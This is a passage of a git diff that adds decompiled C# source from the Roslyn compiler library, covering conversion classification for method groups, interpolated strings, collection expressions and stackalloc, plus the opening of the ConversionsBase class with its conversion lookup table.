null); + } + + protected override ConversionsBase WithNullabilityCore(bool includeNullability) + { + return new Conversions(_binder, currentRecursionDepth, includeNullability, this); + } + + public override Conversion GetMethodGroupDelegateConversion(BoundMethodGroup source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Invalid comparison between Unknown and I4 + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Invalid comparison between Unknown and I4 + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + if (!destination.IsDelegateType()) + { + return Conversion.NoConversion; + } + var (methodSymbol, isFunctionPointer, callingConventionInfo) = GetDelegateInvokeOrFunctionPointerMethodIfAvailable(destination); + if ((object)methodSymbol == null) + { + return Conversion.NoConversion; + } + if (methodSymbol.OriginalDefinition is SynthesizedDelegateInvokeMethod synthesizedDelegateInvokeMethod) + { + if (synthesizedDelegateInvokeMethod.IsParams()) + { + Binder.AddUseSiteDiagnosticForSynthesizedAttribute(Compilation, (WellKnownMember)63, ref useSiteInfo); + } + ImmutableArray.Enumerator enumerator = synthesizedDelegateInvokeMethod.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ConstantValue explicitDefaultConstantValue = enumerator.Current.ExplicitDefaultConstantValue; + if (explicitDefaultConstantValue != (ConstantValue)null) + { + SpecialType specialType = explicitDefaultConstantValue.SpecialType; + WellKnownMember? val = (((int)specialType == 17) ? new WellKnownMember?((WellKnownMember)109) : (((int)specialType != 33) ? ((WellKnownMember?)null) : new WellKnownMember?((WellKnownMember)108))); + WellKnownMember? val2 = val; + if (val2.HasValue) + { + Binder.AddUseSiteDiagnosticForSynthesizedAttribute(Compilation, val2.GetValueOrDefault(), ref useSiteInfo); + } + } + } + if (synthesizedDelegateInvokeMethod.Parameters.Any((ParameterSymbol p) => p.HasUnscopedRefAttribute)) + { + Binder.AddUseSiteDiagnosticForSynthesizedAttribute(Compilation, (WellKnownMember)477, ref useSiteInfo); + } + } + MethodGroupResolution methodGroupResolution = ResolveDelegateOrFunctionPointerMethodGroup(_binder, source, methodSymbol, isFunctionPointer, in callingConventionInfo, ref useSiteInfo); + Conversion result = ((methodGroupResolution.IsEmpty || methodGroupResolution.HasAnyErrors) ? Conversion.NoConversion : ToConversion(methodGroupResolution.OverloadResolutionResult, methodGroupResolution.MethodGroup, methodSymbol.ParameterCount)); + methodGroupResolution.Free(); + return result; + } + + public override Conversion GetMethodGroupFunctionPointerConversion(BoundMethodGroup source, FunctionPointerTypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + MethodGroupResolution methodGroupResolution = ResolveDelegateOrFunctionPointerMethodGroup(_binder, source, destination.Signature, isFunctionPointer: true, new CallingConventionInfo(destination.Signature.CallingConvention, destination.Signature.GetCallingConventionModifiers()), ref useSiteInfo); + Conversion result = ((methodGroupResolution.IsEmpty || methodGroupResolution.HasAnyErrors) ? Conversion.NoConversion : ToConversion(methodGroupResolution.OverloadResolutionResult, methodGroupResolution.MethodGroup, destination.Signature.ParameterCount)); + methodGroupResolution.Free(); + return result; + } + + protected override Conversion GetInterpolatedStringConversion(BoundExpression source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (destination is NamedTypeSymbol { IsInterpolatedStringHandlerType: not false }) + { + return Conversion.InterpolatedStringHandler; + } + if (source is BoundBinaryOperator) + { + return Conversion.NoConversion; + } + if (!TypeSymbol.Equals(destination, Compilation.GetWellKnownType((WellKnownType)56), (TypeCompareKind)0) && !TypeSymbol.Equals(destination, Compilation.GetWellKnownType((WellKnownType)54), (TypeCompareKind)0)) + { + return Conversion.NoConversion; + } + return Conversion.InterpolatedString; + } + + protected override Conversion GetCollectionExpressionConversion(BoundUnconvertedCollectionExpression node, TypeSymbol targetType, ref CompoundUseSiteInfo useSiteInfo) + { + SyntaxNode syntax = node.Syntax; + TypeWithAnnotations elementType; + CollectionExpressionTypeKind collectionExpressionTypeKind = ConversionsBase.GetCollectionExpressionTypeKind(Compilation, targetType, out elementType); + TypeSymbol type = elementType.Type; + switch (collectionExpressionTypeKind) + { + case CollectionExpressionTypeKind.None: + return Conversion.NoConversion; + case CollectionExpressionTypeKind.CollectionBuilder: + _binder.TryGetCollectionIterationType((ExpressionSyntax)(object)syntax, targetType, out elementType); + type = elementType.Type; + if ((object)type == null) + { + return Conversion.NoConversion; + } + break; + } + ImmutableArray elements = node.Elements; + switch (collectionExpressionTypeKind) + { + case CollectionExpressionTypeKind.ImplementsIEnumerable: + return Conversion.CreateCollectionExpressionConversion(collectionExpressionTypeKind, null, default(ImmutableArray)); + case CollectionExpressionTypeKind.ImplementsIEnumerableT: + { + ImmutableArray allInterfacesOrEffectiveInterfaces = targetType.GetAllInterfacesOrEffectiveInterfaces(); + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)25); + bool flag = false; + ImmutableArray.Enumerator enumerator2 = allInterfacesOrEffectiveInterfaces.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if (isCompatibleIEnumerableT(current2, specialType, elements, ref useSiteInfo)) + { + flag = true; + } + } + if (!flag) + { + return Conversion.NoConversion; + } + return Conversion.CreateCollectionExpressionConversion(collectionExpressionTypeKind, null, default(ImmutableArray)); + } + default: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(elements.Length); + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + Conversion conversion = convertElement(current, type, ref useSiteInfo); + if (!conversion.Exists) + { + instance.Free(); + return Conversion.NoConversion; + } + instance.Add(conversion); + } + return Conversion.CreateCollectionExpressionConversion(collectionExpressionTypeKind, type, instance.ToImmutableAndFree()); + } + } + Conversion convertElement(BoundExpression element, TypeSymbol typeSymbol, ref CompoundUseSiteInfo useSiteInfo2) + { + if (element is BoundCollectionExpressionSpreadElement element2) + { + return GetCollectionExpressionSpreadElementConversion(element2, typeSymbol, ref useSiteInfo2); + } + return ClassifyImplicitConversionFromExpression(element, typeSymbol, ref useSiteInfo2); + } + bool elementsCanAllConvert(ImmutableArray immutableArray, TypeSymbol elementType2, ref CompoundUseSiteInfo useSiteInfo2) + { + ImmutableArray.Enumerator enumerator3 = immutableArray.GetEnumerator(); + while (enumerator3.MoveNext()) + { + BoundExpression current3 = enumerator3.Current; + if (!convertElement(current3, elementType2, ref useSiteInfo2).Exists) + { + return false; + } + } + return true; + } + bool isCompatibleIEnumerableT(NamedTypeSymbol targetInterface, NamedTypeSymbol ienumerableType, ImmutableArray elements2, ref CompoundUseSiteInfo useSiteInfo2) + { + if ((object)targetInterface.OriginalDefinition != ienumerableType) + { + return false; + } + return elementsCanAllConvert(elements2, targetInterface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type, ref useSiteInfo2); + } + } + + internal Conversion GetCollectionExpressionSpreadElementConversion(BoundCollectionExpressionSpreadElement element, TypeSymbol targetType, ref CompoundUseSiteInfo useSiteInfo) + { + ForEachEnumeratorInfo enumeratorInfoOpt = element.EnumeratorInfoOpt; + if (enumeratorInfoOpt == null) + { + return Conversion.NoConversion; + } + return ClassifyImplicitConversionFromExpression(new BoundValuePlaceholder(element.Syntax, enumeratorInfoOpt.ElementType), targetType, ref useSiteInfo); + } + + private static MethodGroupResolution ResolveDelegateOrFunctionPointerMethodGroup(Binder binder, BoundMethodGroup source, MethodSymbol delegateInvokeMethodOpt, bool isFunctionPointer, in CallingConventionInfo callingConventionInfo, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if ((object)delegateInvokeMethodOpt != null) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + GetDelegateOrFunctionPointerArguments(source.Syntax, instance, delegateInvokeMethodOpt.Parameters, binder.Compilation); + MethodGroupResolution result = binder.ResolveMethodGroup(source, instance, isMethodGroupConversion: true, ref useSiteInfo, inferWithDynamic: true, delegateInvokeMethodOpt.RefKind, delegateInvokeMethodOpt.ReturnType, isFunctionPointer, in callingConventionInfo); + instance.Free(); + return result; + } + return binder.ResolveMethodGroup(source, null, isMethodGroupConversion: true, ref useSiteInfo, inferWithDynamic: false, (RefKind)0, null, isFunctionPointerResolution: false, default(CallingConventionInfo)); + } + + private static (MethodSymbol, bool isFunctionPointer, CallingConventionInfo callingConventionInfo) GetDelegateInvokeOrFunctionPointerMethodIfAvailable(TypeSymbol type) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (type is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null) + { + return (signature, isFunctionPointer: true, callingConventionInfo: new CallingConventionInfo(signature.CallingConvention, signature.GetCallingConventionModifiers())); + } + } + NamedTypeSymbol delegateType = type.GetDelegateType(); + if ((object)delegateType == null) + { + return (null, isFunctionPointer: false, callingConventionInfo: default(CallingConventionInfo)); + } + MethodSymbol delegateInvokeMethod = delegateType.DelegateInvokeMethod; + if ((object)delegateInvokeMethod == null || delegateInvokeMethod.HasUseSiteError) + { + return (null, isFunctionPointer: false, callingConventionInfo: default(CallingConventionInfo)); + } + return (delegateInvokeMethod, isFunctionPointer: false, callingConventionInfo: default(CallingConventionInfo)); + } + + public static bool ReportDelegateOrFunctionPointerMethodGroupDiagnostics(Binder binder, BoundMethodGroup expr, TypeSymbol targetType, BindingDiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_01c6: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = binder.GetNewCompoundUseSiteInfo(diagnostics); + (MethodSymbol, bool isFunctionPointer, CallingConventionInfo callingConventionInfo) delegateInvokeOrFunctionPointerMethodIfAvailable = GetDelegateInvokeOrFunctionPointerMethodIfAvailable(targetType); + MethodSymbol item = delegateInvokeOrFunctionPointerMethodIfAvailable.Item1; + bool item2 = delegateInvokeOrFunctionPointerMethodIfAvailable.isFunctionPointer; + CallingConventionInfo callingConventionInfo = delegateInvokeOrFunctionPointerMethodIfAvailable.callingConventionInfo; + MethodGroupResolution methodGroupResolution = ResolveDelegateOrFunctionPointerMethodGroup(binder, expr, item, item2, in callingConventionInfo, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(expr.Syntax, useSiteInfo); + bool flag = methodGroupResolution.HasAnyErrors; + ((BindingDiagnosticBag)(object)diagnostics).AddRange(methodGroupResolution.Diagnostics, false); + if (methodGroupResolution.MethodGroup != null) + { + OverloadResolutionResult overloadResolutionResult = methodGroupResolution.OverloadResolutionResult; + if (overloadResolutionResult != null) + { + if (overloadResolutionResult.Succeeded) + { + MethodSymbol member = overloadResolutionResult.BestResult.Member; + if (methodGroupResolution.MethodGroup.IsExtensionMethodGroup) + { + ParameterSymbol parameterSymbol = member.Parameters[0]; + if (!parameterSymbol.Type.IsReferenceType) + { + diagnostics.Add(ErrorCode.ERR_ValueTypeExtDelegate, expr.Syntax.Location, member, parameterSymbol.Type); + flag = true; + } + } + else if (member.ContainingType.IsNullableType() && !member.IsOverride) + { + diagnostics.Add(ErrorCode.ERR_DelegateOnNullable, expr.Syntax.Location, member); + flag = true; + } + } + else if (!flag && !methodGroupResolution.IsEmpty && methodGroupResolution.ResultKind == LookupResultKind.Viable) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + overloadResolutionResult.ReportDiagnostics(binder, expr.Syntax.Location, expr.Syntax, instance, expr.Name, methodGroupResolution.MethodGroup.Receiver, expr.Syntax, methodGroupResolution.AnalyzedArguments, methodGroupResolution.MethodGroup.Methods.ToImmutable(), null, null, null, isMethodGroupConversion: true, item?.RefKind, targetType); + flag = ((BindingDiagnosticBag)instance).HasAnyErrors(); + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + } + } + } + methodGroupResolution.Free(); + return flag; + } + + public Conversion MethodGroupConversion(SyntaxNode syntax, MethodGroup methodGroup, NamedTypeSymbol delegateType, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + OverloadResolutionResult instance2 = OverloadResolutionResult.GetInstance(); + MethodSymbol delegateInvokeMethod = delegateType.DelegateInvokeMethod; + GetDelegateOrFunctionPointerArguments(syntax, instance, delegateInvokeMethod.Parameters, Compilation); + _binder.OverloadResolution.MethodInvocationOverloadResolution(methodGroup.Methods, methodGroup.TypeArguments, methodGroup.Receiver, instance, instance2, ref useSiteInfo, isMethodGroupConversion: true, allowRefOmittedArguments: false, inferWithDynamic: false, allowUnexpandedForm: true, delegateInvokeMethod.RefKind, delegateInvokeMethod.ReturnType, isFunctionPointerResolution: false, isExtensionMethodResolution: false, default(CallingConventionInfo)); + Conversion result = ToConversion(instance2, methodGroup, delegateType.DelegateInvokeMethod.ParameterCount); + instance.Free(); + instance2.Free(); + return result; + } + + public static void GetDelegateOrFunctionPointerArguments(SyntaxNode syntax, AnalyzedArguments analyzedArguments, ImmutableArray delegateParameters, CSharpCompilation compilation) + { + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = delegateParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol parameterSymbol = enumerator.Current; + if (parameterSymbol.Type.IsDynamic()) + { + parameterSymbol = new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(compilation.GetSpecialType((SpecialType)1), NullableAnnotation.Oblivious, parameterSymbol.TypeWithAnnotations.CustomModifiers), parameterSymbol.RefCustomModifiers, parameterSymbol.IsParams, parameterSymbol.RefKind); + } + analyzedArguments.Arguments.Add((BoundExpression)new BoundParameter(syntax, parameterSymbol) + { + WasCompilerGenerated = true + }); + analyzedArguments.RefKinds.Add(parameterSymbol.RefKind); + } + } + + private static Conversion ToConversion(OverloadResolutionResult result, MethodGroup methodGroup, int parameterCount) + { + if (!result.Succeeded) + { + return Conversion.NoConversion; + } + MethodSymbol member = result.BestResult.Member; + if (methodGroup.IsExtensionMethodGroup && !member.Parameters[0].Type.IsReferenceType) + { + return Conversion.NoConversion; + } + if (member.RequiresInstanceReceiver) + { + BoundExpression receiver = methodGroup.Receiver; + if (receiver != null && receiver.Type?.IsRestrictedType() == true) + { + return Conversion.NoConversion; + } + } + if (member.ContainingType.IsNullableType() && !member.IsOverride) + { + return Conversion.NoConversion; + } + return new Conversion(ConversionKind.MethodGroup, member, methodGroup.IsExtensionMethodGroup); + } + + public override Conversion GetStackAllocConversion(BoundStackAllocArrayCreation sourceExpression, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Invalid comparison between Unknown and I4 + if (sourceExpression.NeedsToBeConverted()) + { + PointerTypeSymbol source = new PointerTypeSymbol(TypeWithAnnotations.Create(sourceExpression.ElementType)); + Conversion underlyingConversion = ClassifyImplicitConversionFromType(source, destination, ref useSiteInfo); + if (underlyingConversion.IsValid) + { + return Conversion.MakeStackAllocToPointerType(underlyingConversion); + } + NamedTypeSymbol wellKnownType = _binder.GetWellKnownType((WellKnownType)275, ref useSiteInfo); + if ((int)wellKnownType.TypeKind == 10 && wellKnownType.IsRefLikeType) + { + NamedTypeSymbol source2 = wellKnownType.Construct(sourceExpression.ElementType); + Conversion underlyingConversion2 = ClassifyImplicitConversionFromType(source2, destination, ref useSiteInfo); + if (underlyingConversion2.Exists) + { + return Conversion.MakeStackAllocToSpanType(underlyingConversion2); + } + } + } + return Conversion.NoConversion; + } + + internal new Conversions WithNullability(bool includeNullability) + { + return (Conversions)base.WithNullability(includeNullability); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionsBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionsBase.cs new file mode 100644 index 0000000..3831177 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionsBase.cs @@ -0,0 +1,3716 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class ConversionsBase +{ + private static class ConversionEasyOut + { + private static readonly byte[,] s_convkind; + + static ConversionEasyOut() + { + s_convkind = new byte[32, 32] + { + { + 2, 27, 28, 28, 28, 28, 28, 28, 28, 28, + 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, + 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, + 28, 28 + }, + { + 12, 2, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1 + }, + { + 13, 1, 2, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 10, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1 + }, + { + 13, 1, 1, 2, 24, 24, 3, 3, 24, 3, + 3, 3, 3, 3, 3, 3, 3, 1, 10, 26, + 26, 10, 10, 26, 10, 10, 10, 10, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 2, 3, 3, 3, 24, 24, + 24, 24, 3, 24, 3, 3, 3, 1, 26, 10, + 10, 10, 10, 26, 26, 26, 26, 10, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 2, 3, 3, 24, 24, + 24, 24, 3, 24, 3, 3, 3, 1, 26, 26, + 10, 10, 10, 26, 26, 26, 26, 10, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 2, 3, 24, 24, + 24, 24, 3, 24, 3, 3, 3, 1, 26, 26, + 26, 10, 10, 26, 26, 26, 26, 10, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 24, 2, 24, 24, + 24, 24, 24, 24, 3, 3, 3, 1, 26, 26, + 26, 26, 10, 26, 26, 26, 26, 26, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 3, 3, 3, 2, 3, + 3, 3, 3, 3, 3, 3, 3, 1, 26, 26, + 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 3, 3, 24, 2, + 3, 3, 3, 3, 3, 3, 3, 1, 26, 26, + 26, 10, 10, 26, 10, 10, 10, 10, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 24, 3, 24, 24, + 2, 3, 24, 3, 3, 3, 3, 1, 26, 26, + 26, 26, 10, 26, 26, 10, 10, 26, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 24, 24, 24, 24, + 24, 2, 24, 24, 3, 3, 3, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 10, 26, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 24, 3, 24, 24, + 24, 24, 2, 24, 3, 3, 3, 1, 26, 26, + 26, 26, 10, 26, 26, 26, 26, 10, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 24, 24, 24, 24, + 24, 3, 24, 2, 3, 3, 3, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 10, 26, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 24, 24, 24, 24, 24, 24, 24, + 24, 24, 24, 24, 2, 3, 24, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 26, 26, 10, + 10, 26 + }, + { + 13, 1, 1, 24, 24, 24, 24, 24, 24, 24, + 24, 24, 24, 24, 24, 2, 24, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, + 10, 26 + }, + { + 13, 1, 1, 24, 24, 24, 24, 24, 24, 24, + 24, 24, 24, 24, 24, 24, 2, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, + 26, 10 + }, + { + 13, 1, 26, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 2, 26, + 26, 10, 10, 26, 10, 10, 10, 10, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 2, + 10, 10, 10, 26, 26, 26, 26, 10, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 2, 10, 10, 26, 26, 26, 26, 10, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 2, 10, 26, 26, 26, 26, 10, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 2, 26, 26, 26, 26, 26, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 10, 10, 10, 2, 10, 10, 10, 10, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 10, 10, 26, 2, 10, 10, 10, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 10, 26, 26, 2, 10, 26, 10, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 2, 26, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 10, 26, 26, 26, 26, 2, 26, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 10, 26, 2, 10, + 10, 10 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 26, 26, 2, + 10, 26 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, + 2, 26 + }, + { + 13, 1, 1, 26, 26, 26, 26, 26, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 1, 26, 26, + 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, + 26, 2 + } + }; + } + + public static ConversionKind ClassifyConversion(TypeSymbol source, TypeSymbol target) + { + int num = source.TypeToIndex(); + if (num < 0) + { + return ConversionKind.NoConversion; + } + int num2 = target.TypeToIndex(); + if (num2 < 0) + { + return ConversionKind.NoConversion; + } + return (ConversionKind)s_convkind[num, num2]; + } + } + + private delegate Conversion ClassifyConversionFromExpressionDelegate(ConversionsBase conversions, BoundExpression sourceExpression, TypeWithAnnotations destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast); + + private delegate Conversion ClassifyConversionFromTypeDelegate(ConversionsBase conversions, TypeWithAnnotations source, TypeWithAnnotations destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast); + + private const int MaximumRecursionDepth = 50; + + protected readonly AssemblySymbol corLibrary; + + protected readonly int currentRecursionDepth; + + internal readonly bool IncludeNullability; + + private ConversionsBase _lazyOtherNullability; + + protected abstract bool IsAttributeArgumentBinding { get; } + + protected abstract bool IsParameterDefaultValueBinding { get; } + + internal AssemblySymbol CorLibrary => corLibrary; + + protected abstract CSharpCompilation? Compilation { get; } + + protected ConversionsBase(AssemblySymbol corLibrary, int currentRecursionDepth, bool includeNullability, ConversionsBase otherNullabilityOpt) + { + this.corLibrary = corLibrary; + this.currentRecursionDepth = currentRecursionDepth; + IncludeNullability = includeNullability; + _lazyOtherNullability = otherNullabilityOpt; + } + + internal ConversionsBase WithNullability(bool includeNullability) + { + if (IncludeNullability == includeNullability) + { + return this; + } + if (_lazyOtherNullability == null) + { + Interlocked.CompareExchange(ref _lazyOtherNullability, WithNullabilityCore(includeNullability), null); + } + return _lazyOtherNullability; + } + + protected abstract ConversionsBase WithNullabilityCore(bool includeNullability); + + public abstract Conversion GetMethodGroupDelegateConversion(BoundMethodGroup source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo); + + public abstract Conversion GetMethodGroupFunctionPointerConversion(BoundMethodGroup source, FunctionPointerTypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo); + + public abstract Conversion GetStackAllocConversion(BoundStackAllocArrayCreation sourceExpression, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo); + + protected abstract ConversionsBase CreateInstance(int currentRecursionDepth); + + protected abstract Conversion GetInterpolatedStringConversion(BoundExpression source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo); + + protected abstract Conversion GetCollectionExpressionConversion(BoundUnconvertedCollectionExpression source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo); + + public Conversion ClassifyImplicitConversionFromExpression(BoundExpression sourceExpression, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol type = sourceExpression.Type; + if ((object)type != null && HasIdentityConversionInternal(type, destination)) + { + return Conversion.Identity; + } + Conversion result = ClassifyImplicitBuiltInConversionFromExpression(sourceExpression, type, destination, ref useSiteInfo); + if (result.Exists) + { + return result; + } + if ((object)type != null) + { + Conversion result2 = FastClassifyConversion(type, destination); + if (result2.Exists) + { + if (result2.IsImplicit) + { + return result2; + } + } + else + { + result = ClassifyImplicitBuiltInConversionSlow(type, destination, ref useSiteInfo); + if (result.Exists) + { + return result; + } + } + } + else + { + FunctionTypeSymbol functionType = sourceExpression.GetFunctionType(); + if ((object)functionType != null && HasImplicitFunctionTypeConversion(functionType, destination, ref useSiteInfo)) + { + return Conversion.FunctionType; + } + } + result = GetImplicitUserDefinedConversion(sourceExpression, type, destination, ref useSiteInfo); + if (result.Exists) + { + return result; + } + result = GetSwitchExpressionConversion(sourceExpression, destination, ref useSiteInfo); + if (result.Exists) + { + return result; + } + return GetConditionalExpressionConversion(sourceExpression, destination, ref useSiteInfo); + } + + public Conversion ClassifyImplicitConversionFromType(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (HasIdentityConversionInternal(source, destination)) + { + return Conversion.Identity; + } + Conversion result = FastClassifyConversion(source, destination); + if (result.Exists) + { + if (!result.IsImplicit) + { + return Conversion.NoConversion; + } + return result; + } + Conversion result2 = ClassifyImplicitBuiltInConversionSlow(source, destination, ref useSiteInfo); + if (result2.Exists) + { + return result2; + } + return GetImplicitUserDefinedConversion(source, destination, ref useSiteInfo); + } + + public Conversion ClassifyImplicitConversionFromTypeWhenNeitherOrBothFunctionTypes(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + FunctionTypeSymbol functionTypeSymbol = source as FunctionTypeSymbol; + FunctionTypeSymbol functionTypeSymbol2 = destination as FunctionTypeSymbol; + if ((object)functionTypeSymbol == null && (object)functionTypeSymbol2 == null) + { + return ClassifyImplicitConversionFromType(source, destination, ref useSiteInfo); + } + if ((object)functionTypeSymbol != null && (object)functionTypeSymbol2 != null) + { + if (!HasImplicitFunctionTypeToFunctionTypeConversion(functionTypeSymbol, functionTypeSymbol2, ref useSiteInfo)) + { + return Conversion.NoConversion; + } + return Conversion.FunctionType; + } + return Conversion.NoConversion; + } + + public Conversion ClassifyConversionFromExpressionType(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + if (HasImplicitDynamicConversionFromExpression(source, destination)) + { + return Conversion.ImplicitDynamic; + } + return ClassifyConversionFromType(source, destination, isChecked, ref useSiteInfo); + } + + private static bool TryGetVoidConversion(TypeSymbol source, TypeSymbol destination, out Conversion conversion) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + bool flag = (object)source != null && (int)source.SpecialType == 6; + bool flag2 = (int)destination.SpecialType == 6; + if (flag && flag2) + { + conversion = Conversion.Identity; + return true; + } + if (flag || flag2) + { + conversion = Conversion.NoConversion; + return true; + } + conversion = 